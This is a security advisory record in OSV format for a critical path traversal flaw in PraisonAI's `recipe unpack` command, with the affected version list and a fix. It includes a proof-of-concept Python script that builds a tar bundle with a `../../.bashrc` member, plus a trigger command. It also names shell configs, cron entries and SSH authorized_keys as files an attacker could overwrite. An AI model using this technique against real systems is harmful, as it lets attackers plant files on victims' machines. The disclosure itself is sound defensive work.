{"id":"PYSEC-2026-469","summary":"PraisonAI vulnerable to arbitrary file write via path traversal in `praisonai recipe unpack`","details":"| Field | Value |\n|---|---|\n| Severity | Critical |\n| Type | Path traversal -- arbitrary file write via `tar.extract()` without member validation |\n| Affected | `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` |\n\n## Summary\n\n `cmd_unpack` in the recipe CLI extracts `.praison` tar archives using raw `tar.extract()` without validating archive member paths. A `.praison` bundle containing `../../` entries will write files outside the intended output directory. An attacker who distributes a malicious bundle can overwrite arbitrary files on the victim's filesystem when they run `praisonai recipe unpack`.\n\n## Details\n\nThe vulnerable code is in `cli/features/recipe.py:1170-1172`:\n\n```python\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n ```\n\nThe only check is whether the member is `manifest.json`. The code never validates member names -- absolute paths, `..` components, and symlinks all pass through. Python's `tarfile.extract()` resolves these relative to the destination, so a member named `../../.bashrc` lands two directories above `recipe_dir`.\n\nThe codebase does contain a safe extraction function (`_safe_extractall` in `recipe/registry.py:131-162`) that rejects absolute paths, `..` segments, and resolved paths outside the destination. It is used by the `pull` and `publish` paths, but `cmd_unpack` does not call it.\n \n```python\n# recipe/registry.py:141-159 -- safe version exists but is not used by cmd_unpack\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n    dest = str(dest_dir.resolve())\n    for member in tar.getmembers():\n        if os.path.isabs(member.name):\n            raise RegistryError(...)\n        if \"..\" in member.name.split(\"/\"):\n            raise RegistryError(...)\n        resolved = os.path.realpath(os.path.join(dest, member.name))\n        if not resolved.startswith(dest + os.sep):\n            raise RegistryError(...)\n    tar.extractall(dest_dir)\n```\n\n## PoC\n\nBuild a malicious bundle:\n\n```python\n import tarfile, io, json\n\nmanifest = json.dumps({\"name\": \"legit-recipe\", \"version\": \"1.0.0\"}).encode()\n\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"manifest.json\")\n    info.size = len(manifest)\n    tar.addfile(info, io.BytesIO(manifest))\n\n    payload = b\"export EVIL=1  # injected by malicious recipe\\n\"\n    evil = tarfile.TarInfo(name=\"../../.bashrc\")\n    evil.size = len(payload)\n    tar.addfile(evil, io.BytesIO(payload))\n```\n \nTrigger:\n\n```bash\npraisonai recipe unpack malicious.praison -o ./recipes\n # Expected: files written only under ./recipes/legit-recipe/\n# Actual:   .bashrc written two directories above the output dir\n```\n\n## Impact\n\n| Path | Traversal blocked? |\n|------|--------------------|\n| `praisonai recipe pull \u003cname\u003e` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe publish \u003cbundle\u003e` | Yes -- uses `_safe_extractall` |\n| `praisonai recipe unpack \u003cbundle\u003e` | No -- raw `tar.extract()` |\n\nAn attacker needs to get a victim to unpack a malicious `.praison` bundle -- say, through a shared recipe repository, a link in a tutorial, or by sending it to a colleague directly.\n\nDepending on filesystem permissions, an attacker can overwrite shell config files (`.bashrc`, `.zshrc`), cron entries, SSH `authorized_keys`, or project files in parent directories. The attacker controls both the path and the content of every written file.\n\n## Remediation\n\nReplace the raw extraction loop with `_safe_extractall`:\n\n```python\n# cli/features/recipe.py:1170-1172\n # Before:\nfor member in tar.getmembers():\n    if member.name != \"manifest.json\":\n        tar.extract(member, recipe_dir)\n\n# After:\nfrom praisonai.recipe.registry import _safe_extractall\n_safe_extractall(tar, recipe_dir)\n```\n\n### Affected paths\n\n- `src/praisonai/praisonai/cli/features/recipe.py:1170-1172` -- `cmd_unpack` extracts tar members without path validation","aliases":["CVE-2026-40157","GHSA-99g3-w8gr-x37c"],"modified":"2026-07-01T20:23:01.409431Z","published":"2026-06-29T11:50:46.779400Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-99g3-w8gr-x37c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40157"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-99g3-w8gr-x37c"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.2"},{"fixed":"4.5.128"}]}],"versions":["2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.13","4.5.14","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-469.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}